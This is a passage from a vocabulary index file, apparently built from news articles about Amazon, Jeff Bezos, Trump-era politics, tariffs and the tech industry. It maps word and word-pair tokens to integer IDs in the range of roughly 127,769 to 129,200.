brandinglink": 127769, "preliminary approval": 127770, "phrase earlier": 127771, "provides legal": 127772, "years": 127773, "commerce loophole": 127774, "uploading": 127775, "proposed tariffs": 127776, "military hopefully": 127777, "did lot": 127778, "reuters reporting": 127779, "kiwiblog": 127780, "endless government": 127781, "rehab": 127782, "utilising methods": 127783, "operating costs": 127784, "franziska roesner": 127785, "despite increased": 127786, "binary government": 127787, "largest economies": 127788, "perk similar": 127789, "deep background": 127790, "frustration health": 127791, "slowing shares": 127792, "finally propagated": 127793, "help mobile": 127794, "amid unrest": 127795, "tilray": 127796, "originate": 127797, "day classic": 127798, "slapped": 127799, "chat glenn": 127800, "gado": 127801, "americas": 127802, "hackers": 127803, "commerce ceo": 127804, "bullishness": 127805, "aligning": 127806, "divert money": 127807, "doesn begin": 127808, "change announced": 127809, "docked paid": 127810, "ideas maybe": 127811, "allegedly takes": 127812, "mannequin": 127813, "workers posted": 127814, "hypocrisy": 127815, "consumer product": 127816, "completely banned": 127817, "antitrust legal": 127818, "publishing false": 127819, "enterprise": 127820, "person positive": 127821, "corner": 127822, "facebook hack": 127823, "preset categories": 127824, "mix relative": 127825, "spray": 127826, "career buffett": 127827, "android google": 127828, "647 500": 127829, "cap taking": 127830, "margrethe": 127831, "hour home": 127832, "products destroyed": 127833, "lore": 127834, "drug delivery": 127835, "203 631": 127836, "bezos stop": 127837, "echoes echo": 127838, "thought source": 127839, "later learn": 127840, "causes crises": 127841, "unconventional potential": 127842, "qcom": 127843, "personal attorney": 127844, "hawking": 127845, "brooke paige": 127846, "skyrocketing compensation": 127847, "day threat": 127848, "old days": 127849, "going lower": 127850, "industries integrated": 127851, "trump doll": 127852, "nyc dating": 127853, "usps pension": 127854, "rose fraction": 127855, "x5q16": 127856, "reactions director": 127857, "avenatti making": 127858, "writing reviews": 127859, "hire american": 127860, "amazon strong": 127861, "new spending": 127862, "sunlight foundation": 127863, "gov chris": 127864, "faith keith": 127865, "writer patrice": 127866, "leader theresa": 127867, "anna sees": 127868, "party wrong": 127869, "briefs open": 127870, "doesnt bode": 127871, "cookbook author": 127872, "critically injured": 127873, "lost amid": 127874, "including improving": 127875, "photo koji": 127876, "large business": 127877, "achingly": 127878, "finance house": 127879, "key takeaways": 127880, "longstanding criticism": 127881, "150 billion": 127882, "channel channel": 127883, "costs starting": 127884, "proof": 127885, "longest stint": 127886, "calif called": 127887, "house intellectual": 127888, "gives louis": 127889, "emergency plans": 127890, "fresh meadows": 127891, "means": 127892, "rally president": 127893, "overarching regulations": 127894, "ryder": 127895, "antitrust expert": 127896, "briefs netflix": 127897, "different vendors": 127898, "film agreement": 127899, "img_tags": 127900, "company meeting": 127901, "obama birth": 127902, "payment amounts": 127903, "international federation": 127904, "instant pants": 127905, "newly separate": 127906, "hot meals": 127907, "infrastructure investments": 127908, "future panelists": 127909, "chinese good": 127910, "amarillo": 127911, "rise reuters": 127912, "impose limits": 127913, "facebook started": 127914, "bannon believed": 127915, "organization accused": 127916, "progressive bedfellow": 127917, "trump 2015": 127918, "sold 02m": 127919, "961": 127920, "president attack": 127921, "pluggable digital": 127922, "insurance pays": 127923, "lobbyist newspaper": 127924, "geography": 127925, "blind eye": 127926, "korede crushing": 127927, "budget deal": 127928, "itemised": 127929, "operations new": 127930, "tumor took": 127931, "receives states": 127932, "gobsmacking headlines": 127933, "blackledge": 127934, "presidency startup": 127935, "advancing proposal": 127936, "italian interference": 127937, "avenatti faces": 127938, "michelman": 127939, "killing power": 127940, "book volume": 127941, "better inventory": 127942, "hey kid": 127943, "ago siding": 127944, "g1ykjappwy jeff": 127945, "increases": 127946, "index min": 127947, "huseman vp": 127948, "perversely": 127949, "flack amazon": 127950, "geothermal energy": 127951, "traditional antitrust": 127952, "avail": 127953, "subscribed agriculture": 127954, "women shelter": 127955, "really worried": 127956, "aziz ansari": 127957, "governmental power": 127958, "passing legislation": 127959, "rom": 127960, "hassett anita": 127961, "similar meal": 127962, "consuming approvals": 127963, "congress launches": 127964, "snowstorms grocery": 127965, "elections minor": 127966, "head roy": 127967, "israel palestine": 127968, "dc shares": 127969, "company margins": 127970, "individual campaign": 127971, "electrical equipment": 127972, "city html": 127973, "survey suggested": 127974, "movie world": 127975, "antagonist long": 127976, "prongs": 127977, "story alibabas": 127978, "peter cummings": 127979, "stock netflix": 127980, "astonished": 127981, "stand shoulder": 127982, "rattling": 127983, "party going": 127984, "called alive": 127985, "banning pro": 127986, "plan print": 127987, "million views": 127988, "promoting practices": 127989, "public document": 127990, "pecker longtime": 127991, "seventies real": 127992, "marketplace internationally": 127993, "news terrorism": 127994, "emergency response": 127995, "reliance right": 127996, "inpoland begin": 127997, "spending upfront": 127998, "smoothed": 127999, "primaryfilelocation": 128000, "casino operators": 128001, "devin wenig": 128002, "including amazonbasics": 128003, "read wrote": 128004, "derbyshire": 128005, "regarding hillary": 128006, "decidedly skinflint": 128007, "coors": 128008, "sits jeff": 128009, "workplace conditions": 128010, "trade tariff": 128011, "bonafide monopoly": 128012, "consolidating power": 128013, "mod hp_lead_pos11": 128014, "jungle amazon": 128015, "probably command": 128016, "jhamilton33 bloomberg": 128017, "legend": 128018, "repeated requests": 128019, "long text": 128020, "sector weakens": 128021, "2017 pretty": 128022, "surprise craniotomy": 128023, "ranking democrat": 128024, "plus losses": 128025, "100 fulfillment": 128026, "loosely defined": 128027, "business correspondent": 128028, "aaliyah center": 128029, "high resolution": 128030, "data centric": 128031, "consulting amazon": 128032, "capital infusions": 128033, "named man": 128034, "dilemma": 128035, "fox midterms": 128036, "town today": 128037, "retailer collects": 128038, "great tale": 128039, "prioritized market": 128040, "miscarriage": 128041, "web infrastructure": 128042, "traditional mail": 128043, "margaret clark": 128044, "raising shipping": 128045, "possible vetoes": 128046, "provides platform": 128047, "rooted": 128048, "click herefor": 128049, "bieber": 128050, "regulatory changes": 128051, "million face": 128052, "blunt brilliant": 128053, "article today": 128054, "life imploding": 128055, "trickier breakingviews": 128056, "class voters": 128057, "fattened margins": 128058, "forced technology": 128059, "sales declined": 128060, "maybe burned": 128061, "express scripts": 128062, "consecutive best": 128063, "atop": 128064, "000 brought": 128065, "logistics software": 128066, "little progress": 128067, "doubleclick": 128068, "follow jack": 128069, "intangible assets": 128070, "windows operating": 128071, "group membership": 128072, "loathe flavored": 128073, "katie honan": 128074, "case china": 128075, "sent 595": 128076, "internet security": 128077, "alabama gov": 128078, "overreaction know": 128079, "millennial options": 128080, "rules zinke": 128081, "marginal tax": 128082, "valicenti advisory": 128083, "remove cnnvideoapi": 128084, "outstanding quality": 128085, "second column": 128086, "popular conspiracy": 128087, "sputtered": 128088, "touching moment": 128089, "distinct spellings": 128090, "pell": 128091, "netflix platform": 128092, "apparatuses": 128093, "discredit women": 128094, "neighbor gates": 128095, "run counter": 128096, "nationwide gmo": 128097, "king unavailable": 128098, "hastings": 128099, "new sabrina": 128100, "everybody says": 128101, "software bo": 128102, "plans lower": 128103, "jonathan bernstein": 128104, "role using": 128105, "samuelsohn": 128106, "ceo rocked": 128107, "varney blame": 128108, "world internet": 128109, "diva ish": 128110, "persistent red": 128111, "lobbying influence": 128112, "pulls lighter": 128113, "year reign": 128114, "blasio": 128115, "built inside": 128116, "history failing": 128117, "waged vast": 128118, "progressive presidential": 128119, "business pillpak": 128120, "idiotic": 128121, "think certainly": 128122, "reaching 1770": 128123, "project new": 128124, "tech links": 128125, "monopolies monopoly": 128126, "tailing mogul": 128127, "neal": 128128, "mystery ingredients": 128129, "bruggink just": 128130, "trails": 128131, "farm team": 128132, "h0 t9x": 128133, "stock lower": 128134, "administration talking": 128135, "countries public": 128136, "council creates": 128137, "monosodium": 128138, "lost contact": 128139, "sizable federal": 128140, "macmillan": 128141, "american cemetary": 128142, "woman recanted": 128143, "predicting": 128144, "lerer": 128145, "sent just": 128146, "ounterfeiters": 128147, "algorithm based": 128148, "say nice": 128149, "steel tariffs": 128150, "investing trading": 128151, "office typical": 128152, "center splc": 128153, "insufficient job": 128154, "familiar stock": 128155, "maybe italy": 128156, "management think": 128157, "brewer joined": 128158, "school counselors": 128159, "amazon hometown": 128160, "administration multiple": 128161, "public advocacy": 128162, "series preacher": 128163, "karenia brevis": 128164, "home ignition": 128165, "deceased infant": 128166, "money michael": 128167, "photo apnewsnow": 128168, "bursting": 128169, "national review": 128170, "american past": 128171, "divorce shortly": 128172, "mesh": 128173, "told ami": 128174, "worthy cleanse": 128175, "rudy giuliani": 128176, "exhibition roar": 128177, "gregory": 128178, "pure evil": 128179, "angels": 128180, "reckoning looks": 128181, "used personal": 128182, "bahrain based": 128183, "hunt trump": 128184, "owen sorority": 128185, "began informing": 128186, "board opposes": 128187, "priyanka": 128188, "awesome results": 128189, "site bankrate": 128190, "rick bowmer": 128191, "funding billion": 128192, "300000 year": 128193, "accusing trump": 128194, "ledger": 128195, "disastrous plan": 128196, "mousetrap": 128197, "accommodation options": 128198, "partially accurate": 128199, "summer faced": 128200, "nationalist uprising": 128201, "epidemics social": 128202, "late summer": 128203, "national retail": 128204, "learning cloud": 128205, "increased public": 128206, "times phillip": 128207, "killing richie": 128208, "bezos cliff": 128209, "rekognition social": 128210, "worth 150": 128211, "mark story": 128212, "china right": 128213, "order takes": 128214, "losing social": 128215, "xrlwpbmgj7 stephanie": 128216, "northeastern university": 128217, "motor tm": 128218, "fertile women": 128219, "lawsuits regarding": 128220, "vt trump": 128221, "tech amd": 128222, "needed jobs": 128223, "sent 850": 128224, "boston atlanta": 128225, "affronted": 128226, "racist": 128227, "blame game": 128228, "fed policy": 128229, "arthouse stalwart": 128230, "dennis rodman": 128231, "products maintain": 128232, "offering discounts": 128233, "certainly follow": 128234, "washington emphasized": 128235, "stuart lauchlan": 128236, "trademark furore": 128237, "colleague": 128238, "eliminating meal": 128239, "stock jumped": 128240, "collectively": 128241, "called grand": 128242, "disturbingly little": 128243, "chain reaction": 128244, "oracle chief": 128245, "applied": 128246, "gulftimes qatar": 128247, "washington flush": 128248, "groceries making": 128249, "invalidate": 128250, "meaning rosenstein": 128251, "help private": 128252, "aca sent": 128253, "robbinsville new": 128254, "bad decisions": 128255, "img_rightsflag": 128256, "100418 large": 128257, "woman living": 128258, "encouraged student": 128259, "urban decay": 128260, "quite good": 128261, "alert dropped": 128262, "manage privacy": 128263, "buy agrees": 128264, "findings": 128265, "offer break": 128266, "agent required": 128267, "globe kevin": 128268, "lobbyist trump": 128269, "index analysts": 128270, "elite land": 128271, "extraordinary infrastructure": 128272, "ven": 128273, "zinke whitefish": 128274, "indicates labor": 128275, "buying food": 128276, "launch investigations": 128277, "brisket": 128278, "anytime soon": 128279, "including market": 128280, "heavy bulky": 128281, "brands using": 128282, "lot discount": 128283, "f4a tostring": 128284, "guide employees": 128285, "signed multi": 128286, "entertainment industry": 128287, "apfn": 128288, "house reporter": 128289, "assessments reassessments": 128290, "ios": 128291, "ultimately giving": 128292, "jolts higher": 128293, "search listings": 128294, "1947": 128295, "3196 bought": 128296, "humanity best": 128297, "mean amazon": 128298, "far rankings": 128299, "treks": 128300, "achieve just": 128301, "contract cover": 128302, "netflix rounded": 128303, "sandbulte cited": 128304, "paperwork": 128305, "private organization": 128306, "film festival": 128307, "economic contributions": 128308, "seeking million": 128309, "valley giant": 128310, "focused tech": 128311, "constitution 25th": 128312, "infrastructure ron": 128313, "spicy": 128314, "directing customer": 128315, "strongly reconsider": 128316, "cortez receives": 128317, "spectacle": 128318, "w4 f8": 128319, "butler yeats": 128320, "execution": 128321, "met stone": 128322, "law according": 128323, "face hostile": 128324, "personal presence": 128325, "security launch": 128326, "wine alistair": 128327, "childish president": 128328, "wanted trump": 128329, "computer education": 128330, "signed lease": 128331, "retrospective": 128332, "ding": 128333, "bancha": 128334, "crony relationship": 128335, "online order": 128336, "street reacted": 128337, "businessman identified": 128338, "2017 taking": 128339, "cabal tech": 128340, "visit book": 128341, "initial overtures": 128342, "european": 128343, "bettencourt meyers": 128344, "crispy cheese": 128345, "files": 128346, "legislation related": 128347, "380s": 128348, "housed insurance": 128349, "package shipments": 128350, "adler": 128351, "hastings company": 128352, "breaks paid": 128353, "personal time": 128354, "released saying": 128355, "anecdotes": 128356, "strong alonzo": 128357, "deemed trump": 128358, "honors performance": 128359, "grateful bezos": 128360, "ap chinese": 128361, "null inc_newsworthyflag": 128362, "goodin jason": 128363, "retribution": 128364, "vudu capernaum": 128365, "doesn dial": 128366, "democrat lawmakers": 128367, "great fortune": 128368, "sizeable": 128369, "trump overwhelms": 128370, "lapse": 128371, "hiring firing": 128372, "washington accused": 128373, "islamic militant": 128374, "2023 circle": 128375, "ross sandler": 128376, "devastating impact": 128377, "payment violated": 128378, "political groups": 128379, "jontalton": 128380, "8bn": 128381, "navarro says": 128382, "data cited": 128383, "nash holdings": 128384, "cio opposes": 128385, "offender": 128386, "patton boggs": 128387, "zaccara": 128388, "revile": 128389, "eh": 128390, "reveals partisan": 128391, "krasinski family": 128392, "decades bezos": 128393, "busey": 128394, "difficult according": 128395, "implication": 128396, "congress recessed": 128397, "snow squall": 128398, "560 000": 128399, "announcing plans": 128400, "industrial combat": 128401, "various foundations": 128402, "second time": 128403, "inspect": 128404, "nvidia results": 128405, "wildfires cause": 128406, "philip morris": 128407, "passing resemblance": 128408, "imagery amazon": 128409, "landless worker": 128410, "received evaluated": 128411, "videoid carousel": 128412, "brisk": 128413, "stretchable read": 128414, "potentially millions": 128415, "air delivery": 128416, "economists expect": 128417, "cnn jon": 128418, "uber self": 128419, "pisgah": 128420, "inventory gift": 128421, "transplant turks": 128422, "awful choices": 128423, "american enteprise": 128424, "botnets": 128425, "reuters joshua": 128426, "legally questionable": 128427, "safe set": 128428, "ahead tracker": 128429, "decade giving": 128430, "s\u00e1nchez": 128431, "republicans alike": 128432, "set competitive": 128433, "retailers president": 128434, "amazon mainstream": 128435, "million dollars": 128436, "opioids": 128437, "company importantly": 128438, "business arrangements": 128439, "sheet risk": 128440, "buy bby": 128441, "handbags bloomingdales": 128442, "ami execs": 128443, "near san": 128444, "divorced croatian": 128445, "bannerposition": 128446, "interviewer": 128447, "harwell": 128448, "cnn cold": 128449, "ala john": 128450, "america great": 128451, "selling impeach": 128452, "2016 undercover": 128453, "won discuss": 128454, "trump shiny": 128455, "leaked document": 128456, "bezos assured": 128457, "changed lockheed": 128458, "frequently means": 128459, "schiff told": 128460, "arabia": 128461, "slimy": 128462, "2017 zach": 128463, "famously raucous": 128464, "rush distribution": 128465, "favorability rating": 128466, "admired companies": 128467, "gloves rock": 128468, "approved repurchase": 128469, "hotel ballroom": 128470, "data compiled": 128471, "data bartiromo": 128472, "elections trump": 128473, "betsy klein": 128474, "unbearable conditions": 128475, "patent litigation": 128476, "employees heather": 128477, "including workers": 128478, "portrayed": 128479, "develops": 128480, "chicago raised": 128481, "fdny emts": 128482, "outwitted regulators": 128483, "wintour": 128484, "pipeline bolsonaro": 128485, "announces kim": 128486, "tremendous dishonesty": 128487, "says qualified": 128488, "say groundwater": 128489, "unless somebody": 128490, "profile liberal": 128491, "dttm operations": 128492, "photo captured": 128493, "programme rounding": 128494, "palantir mijente": 128495, "controversial dams": 128496, "210 days": 128497, "win donald": 128498, "liz": 128499, "racist clothing": 128500, "environmental regulations": 128501, "beach reach": 128502, "correspondent today": 128503, "korea missile": 128504, "evaluate celebrated": 128505, "perfect plane": 128506, "friends self": 128507, "q3 2018": 128508, "publish distribute": 128509, "fbi finds": 128510, "albany ali": 128511, "hightower imagines": 128512, "kyodo": 128513, "bad mouthing": 128514, "brandview": 128515, "6190": 128516, "wants gop": 128517, "advancing age": 128518, "protested long": 128519, "tran 102602cb": 128520, "trump spurred": 128521, "comic sense": 128522, "giving multibillion": 128523, "bias just": 128524, "double lives": 128525, "eminent domain": 128526, "harwood gop": 128527, "world judge": 128528, "questions surround": 128529, "aggressive according": 128530, "online capabilities": 128531, "quarter charge": 128532, "riots": 128533, "billionaires isn": 128534, "online giants": 128535, "reportedly acted": 128536, "dr jekyll": 128537, "jpg nofollow": 128538, "meter": 128539, "soldado vignette": 128540, "phone avid": 128541, "chinese retaliating": 128542, "contractors employed": 128543, "point saying": 128544, "unanimously agreed": 128545, "104 267": 128546, "800 workers": 128547, "financial measures": 128548, "electronics maker": 128549, "benefiting majority": 128550, "entire chains": 128551, "won leave": 128552, "trump blames": 128553, "recognize guaido": 128554, "amazon raises": 128555, "testimony historical": 128556, "nasir": 128557, "days left": 128558, "separate retail": 128559, "outlets rainey": 128560, "revealed quadruple": 128561, "reportedly stormed": 128562, "confirmed amazon": 128563, "recode decode": 128564, "tightly limit": 128565, "trump threatening": 128566, "partners looking": 128567, "preconceived": 128568, "paterson acknowledge": 128569, "socially liberal": 128570, "rawest": 128571, "browser history": 128572, "companies struggling": 128573, "justice look": 128574, "left alex": 128575, "huttenlocher": 128576, "simulate": 128577, "app warren": 128578, "packaged": 128579, "dropdown": 128580, "overall surprising": 128581, "city mayor": 128582, "djax_mobileadserver php": 128583, "hyper growth": 128584, "sagged close": 128585, "extremist watch": 128586, "year article": 128587, "played": 128588, "prove": 128589, "bldg": 128590, "univision moved": 128591, "competition issues": 128592, "fed index": 128593, "action figures": 128594, "wilson electronics": 128595, "big expectations": 128596, "575 shares": 128597, "bet tweeted": 128598, "trump wears": 128599, "told bezos": 128600, "repaired extensive": 128601, "jefferies note": 128602, "wisconsin today": 128603, "firm fired": 128604, "center industry": 128605, "established cost": 128606, "making stop": 128607, "elber": 128608, "weed want": 128609, "community rules": 128610, "delivery branded": 128611, "crackpot theories": 128612, "limit global": 128613, "projects built": 128614, "really kind": 128615, "prospective acquisition": 128616, "cancelsits": 128617, "disney dis": 128618, "matt schlapp": 128619, "000 dinette": 128620, "preferred title": 128621, "china attempts": 128622, "federal information": 128623, "release smt": 128624, "charlie ripley": 128625, "tiny boston": 128626, "mouthwash": 128627, "new attacks": 128628, "women nora": 128629, "funny way": 128630, "federal": 128631, "turquoise face": 128632, "offer product": 128633, "sanders expressed": 128634, "family garage": 128635, "video hizzoner": 128636, "brien": 128637, "closing hundreds": 128638, "typical trump": 128639, "apparent key": 128640, "streaming video": 128641, "specifics know": 128642, "filming": 128643, "matter quiet": 128644, "heffernan funds": 128645, "deterred chinese": 128646, "guardian": 128647, "liberal mob": 128648, "stauch": 128649, "jets lacked": 128650, "emarketer": 128651, "office according": 128652, "temporarily restraining": 128653, "job toldthe": 128654, "louis vuitton": 128655, "trust decreased": 128656, "giant shares": 128657, "overnight instead": 128658, "prime minister": 128659, "tour abroad": 128660, "chat function": 128661, "cbs technically": 128662, "ecolab raised": 128663, "retirement plan": 128664, "new context": 128665, "discouraged people": 128666, "save sears": 128667, "union targets": 128668, "reality software": 128669, "1729et": 128670, "individual works": 128671, "different gift": 128672, "readers actually": 128673, "banking services": 128674, "create documentary": 128675, "controversial pentagon": 128676, "alarmed": 128677, "mom": 128678, "kissinger": 128679, "massive cultural": 128680, "trump washington": 128681, "2003 harry": 128682, "resource fair": 128683, "evil person": 128684, "began raising": 128685, "behemoth trump": 128686, "reportedly reluctant": 128687, "hour joe": 128688, "data thumbimageelem": 128689, "stop providing": 128690, "kdugan nypost": 128691, "mair tenuous": 128692, "ordinarily credit": 128693, "insider contacted": 128694, "largest democracy": 128695, "pam andy": 128696, "countersuing": 128697, "deleo": 128698, "2019 reuters": 128699, "amazon dressing": 128700, "shutdown roughly": 128701, "demented desire": 128702, "purchases exclusive": 128703, "herbs": 128704, "vote hat": 128705, "post holds": 128706, "aide kelly": 128707, "brash": 128708, "far higher": 128709, "public interview": 128710, "film writer": 128711, "coverage unfair": 128712, "agency survive": 128713, "does 2018": 128714, "2016 gop": 128715, "defences": 128716, "negative session": 128717, "aeht makes": 128718, "order budget": 128719, "political contribution": 128720, "young housekeeper": 128721, "aforementioned brain": 128722, "franck rougier": 128723, "reform ebony": 128724, "crm industry": 128725, "eastern follow": 128726, "amazon release": 128727, "way higher": 128728, "divide intensifies": 128729, "friends george": 128730, "dan bartlett": 128731, "kavanaugh right": 128732, "vaunted amazon": 128733, "wsj humana": 128734, "segment adjusted": 128735, "modern century": 128736, "mulvaney": 128737, "firm announced": 128738, "creating way": 128739, "gasp rep": 128740, "struggling city": 128741, "cohnovernight": 128742, "hughes worked": 128743, "report automatically": 128744, "post soon": 128745, "gage skidmore": 128746, "maps allowing": 128747, "post unrelenting": 128748, "door open": 128749, "987mm": 128750, "really exist": 128751, "ranks high": 128752, "answers operator": 128753, "amazon subscription": 128754, "allow greater": 128755, "endorse privatizing": 128756, "new apps": 128757, "schooled": 128758, "downs": 128759, "daphn\u00e9 angl\u00e8s": 128760, "forward president": 128761, "proprietary tech": 128762, "used botnets": 128763, "lone": 128764, "trending obama": 128765, "claimed google": 128766, "hilliard queensbridge": 128767, "post wouldn": 128768, "started buying": 128769, "shop driver": 128770, "facebook facebook": 128771, "policy novice": 128772, "cloud dominance": 128773, "encore boston": 128774, "work dry": 128775, "prisoners": 128776, "instagram": 128777, "isolationist path": 128778, "angeles mngmt": 128779, "clerical sex": 128780, "authorizing committees": 128781, "grassley": 128782, "uncovered long": 128783, "tweeted los": 128784, "economy society": 128785, "secretary chairs": 128786, "political arena": 128787, "symbol aapl": 128788, "business schwietzer": 128789, "open 170": 128790, "qi wireless": 128791, "cancer treatments": 128792, "alcohol fuelled": 128793, "published ami": 128794, "passes judgement": 128795, "complete sweep": 128796, "carl": 128797, "doa": 128798, "threshold graph": 128799, "retweeted": 128800, "bernstein center": 128801, "suffocating debt": 128802, "strain writes": 128803, "auto workers": 128804, "john zaccone": 128805, "week nextshark": 128806, "zone": 128807, "massacre posted": 128808, "market prices": 128809, "helped stanch": 128810, "standing belt": 128811, "journal col": 128812, "foundation exhibitions": 128813, "drone regulation": 128814, "xr amazon": 128815, "letter protesting": 128816, "pretty impossible": 128817, "affairs plus": 128818, "bazemore": 128819, "earn buck": 128820, "matthew lederman": 128821, "dangers": 128822, "immediately receive": 128823, "common salary": 128824, "restrictions perceived": 128825, "showtime ben": 128826, "reads make": 128827, "news producer": 128828, "firm shares": 128829, "party divisions": 128830, "pension accounts": 128831, "thistime": 128832, "44842732821 aff": 128833, "amazon fo": 128834, "carell announced": 128835, "novels including": 128836, "taking iton": 128837, "kimber lockhart": 128838, "shirtless mirror": 128839, "mayfield": 128840, "s4a k1a": 128841, "illicit text": 128842, "reaction inside": 128843, "congress regarding": 128844, "recession scare": 128845, "president allegations": 128846, "officer alan": 128847, "biggest book": 128848, "hey presto": 128849, "truck drivers": 128850, "conspiracy theorist": 128851, "2018 metrics": 128852, "uneven trading": 128853, "weren released": 128854, "potentially fatal": 128855, "organization retail": 128856, "failed extortion": 128857, "royally": 128858, "order clothes": 128859, "sized indian": 128860, "reported widely": 128861, "attended public": 128862, "libel case": 128863, "sensitive mining": 128864, "empowers": 128865, "rare treat": 128866, "2020 revenue": 128867, "populations living": 128868, "thirdparty": 128869, "revenue target": 128870, "elena richardson": 128871, "bare shoulder": 128872, "essential component": 128873, "establishing blueprint": 128874, "afghan french": 128875, "denotes": 128876, "immigrant measures": 128877, "reform congestion": 128878, "represents": 128879, "bramer released": 128880, "term optimization": 128881, "written previously": 128882, "boss trump": 128883, "house did": 128884, "head jennifer": 128885, "nomination senate": 128886, "pageants presidents": 128887, "surviving genocide": 128888, "1p seeing": 128889, "president doubled": 128890, "ridiculously comparing": 128891, "officially announce": 128892, "quickly jumped": 128893, "entrench market": 128894, "episode tells": 128895, "tlaib": 128896, "claims post": 128897, "union capitol": 128898, "dark rendition": 128899, "continual guilt": 128900, "case commerce": 128901, "tags alt": 128902, "city declared": 128903, "best deal": 128904, "freshman congressperson": 128905, "realism alias": 128906, "wants computers": 128907, "mda news": 128908, "fall ami": 128909, "bitches": 128910, "jurisdictional capacity": 128911, "majesty": 128912, "expects customer": 128913, "success fair": 128914, "press unless": 128915, "option": 128916, "charlottesville violence": 128917, "submitting preliminary": 128918, "russia paul": 128919, "vaco": 128920, "pecker relationship": 128921, "collins colorado": 128922, "populated areas": 128923, "advising clients": 128924, "created decade": 128925, "starts calling": 128926, "moving jobs": 128927, "kardashian struts": 128928, "elect alexandria": 128929, "ist brands": 128930, "bluetooth wireless": 128931, "jason schwartz": 128932, "jermaine": 128933, "amazon profit": 128934, "carol lee": 128935, "policies exposed": 128936, "minor flu": 128937, "fool data": 128938, "deemed nonessential": 128939, "lavalin": 128940, "affair divorce": 128941, "betterment qapital": 128942, "publix line": 128943, "jcpenney": 128944, "naacp": 128945, "cards expert": 128946, "narrow slit": 128947, "books private": 128948, "improve people": 128949, "shares vermont": 128950, "elin": 128951, "infiltrating": 128952, "wayfair doesn": 128953, "state collaborators": 128954, "kicked wikileak": 128955, "special contracts": 128956, "portfolios 2018": 128957, "weinstein john": 128958, "voice command": 128959, "beer commercials": 128960, "friend accidentally": 128961, "pages cramer": 128962, "features lauren": 128963, "shah provided": 128964, "giants fox": 128965, "recently": 128966, "cbp southern": 128967, "2018q4": 128968, "murray": 128969, "include barack": 128970, "tax cheating": 128971, "message ended": 128972, "increasing numbers": 128973, "program director": 128974, "president tendency": 128975, "bush began": 128976, "spain italy": 128977, "ai brain": 128978, "local guy": 128979, "voice market": 128980, "cortez quick": 128981, "nsa hacked": 128982, "global initiatives": 128983, "book sisters": 128984, "incredible vehicle": 128985, "cruncher article": 128986, "newlyweds minutes": 128987, "zealander": 128988, "foods tsn": 128989, "height 124": 128990, "service suggested": 128991, "relevant brian": 128992, "does supply": 128993, "uncharacteristically quiet": 128994, "reality curve": 128995, "fest marathon": 128996, "information immediacy": 128997, "hinton read": 128998, "stateand local": 128999, "797": 129000, "insider calculates": 129001, "charlottesville riots": 129002, "dominant provider": 129003, "considering blocking": 129004, "tolowercase": 129005, "bar needs": 129006, "traditional small": 129007, "hoffmann": 129008, "pynchonian": 129009, "bluemountain": 129010, "read politico": 129011, "politics tags": 129012, "experience schwan": 129013, "based pro": 129014, "official statement": 129015, "net doubleverify": 129016, "years running": 129017, "fordham manor": 129018, "headlineposttext": 129019, "wegmann couple": 129020, "previously linked": 129021, "facebook earnings": 129022, "merge 2018": 129023, "dye workshop": 129024, "attack certain": 129025, "certain items": 129026, "sea levels": 129027, "brogrammers": 129028, "giving away": 129029, "speaker andeditor": 129030, "clemmons": 129031, "platform right": 129032, "company spokespeople": 129033, "leslie sold": 129034, "afro": 129035, "roigfranzia": 129036, "lee appreciation": 129037, "stock traders": 129038, "ceo gavin": 129039, "cost implications": 129040, "century": 129041, "involves preventing": 129042, "446": 129043, "company audible": 129044, "surrounding donald": 129045, "common concern": 129046, "airplane john": 129047, "genuity": 129048, "locks waving": 129049, "bezo owned": 129050, "accept delivery": 129051, "president took": 129052, "charge money": 129053, "worldwide": 129054, "human lurks": 129055, "wingfield amazon": 129056, "posted": 129057, "rumors emerged": 129058, "patreon follow": 129059, "cheaper read": 129060, "ratcheting": 129061, "yesterday president": 129062, "drone pilot": 129063, "videx metadata": 129064, "mortgaging": 129065, "tax chinese": 129066, "completely inaccurate": 129067, "hungry": 129068, "house hard": 129069, "ornery": 129070, "battle godzilla": 129071, "underdog story": 129072, "reform marijuana": 129073, "day businesses": 129074, "code": 129075, "mccartney": 129076, "stolberg": 129077, "250 calling": 129078, "a26142277": 129079, "afp eva": 129080, "addition": 129081, "giant issuing": 129082, "fed halts": 129083, "iberian": 129084, "close personal": 129085, "2018 foiling": 129086, "just impact": 129087, "unlikable oligarchs": 129088, "making loans": 129089, "acquired 334": 129090, "smartsheet": 129091, "doesn respond": 129092, "goliath attention": 129093, "fascist rally": 129094, "swatch ceo": 129095, "drop binge": 129096, "new precedent": 129097, "descriptionplaintext jquery": 129098, "fortnite 100m": 129099, "added 223": 129100, "rene": 129101, "discussion amazon": 129102, "logical step": 129103, "oscars best": 129104, "print advertising": 129105, "mandate ends": 129106, "alex shephard": 129107, "pictures star": 129108, "helou": 129109, "nyc growing": 129110, "republican millionaires": 129111, "prime packages": 129112, "president exulted": 129113, "circuit vacates": 129114, "780 million": 129115, "forbes gwl": 129116, "evenly distributed": 129117, "ai brings": 129118, "jordan peterson": 129119, "tier": 129120, "hiring discrimination": 129121, "tiny cities": 129122, "2019 lucas": 129123, "brendan lacerda": 129124, "studios party": 129125, "boyfriend wants": 129126, "write bad": 129127, "mean music": 129128, "court rules": 129129, "facebook perfumania": 129130, "offices iot": 129131, "growth hurd": 129132, "wage melissa": 129133, "jenkins jr": 129134, "week mona": 129135, "various digital": 129136, "posted alleged": 129137, "backs maduro": 129138, "offer fast": 129139, "news congress": 129140, "tribes": 129141, "added incentive": 129142, "private amazon": 129143, "ruled gaza": 129144, "specialized capabilities": 129145, "jacket amazon": 129146, "7ct 8et": 129147, "horse leather": 129148, "schuster marks": 129149, "feature shows": 129150, "sexy nurse": 129151, "newest shadow": 129152, "flux": 129153, "company threatened": 129154, "bell facebook": 129155, "launched broadside": 129156, "killing saudi": 129157, "violating multiple": 129158, "luckily": 129159, "widely": 129160, "states allow": 129161, "selling": 129162, "cause als": 129163, "hamlin continued": 129164, "111 total": 129165, "apple results": 129166, "tipping point": 129167, "eric gay": 129168, "familiar corporate": 129169, "putting american": 129170, "spokeswoman": 129171, "trump new": 129172, "trump property": 129173, "infuriated president": 129174, "clarivate analytics": 129175, "hallford": 129176, "corcoran join": 129177, "memorable figurine": 129178, "says donald": 129179, "cloud programs": 129180, "hopes": 129181, "years calling": 129182, "avenatti": 129183, "away oatmeal": 129184, "sketch emphasized": 129185, "blanchard aaron": 129186, "joins past": 129187, "lmao m\u025bnz": 129188, "exposes generational": 129189, "decidedly mum": 129190, "streitfeld suggested": 129191, "pay says": 129192, "seek incentive": 129193, "purchase ivanka": 129194, "hiring teachers": 129195, "promote fast": 129196, "affordable tablet": 129197, "mackowiak download": 129198, "political summits": 129199, "credit abramson": 129200, 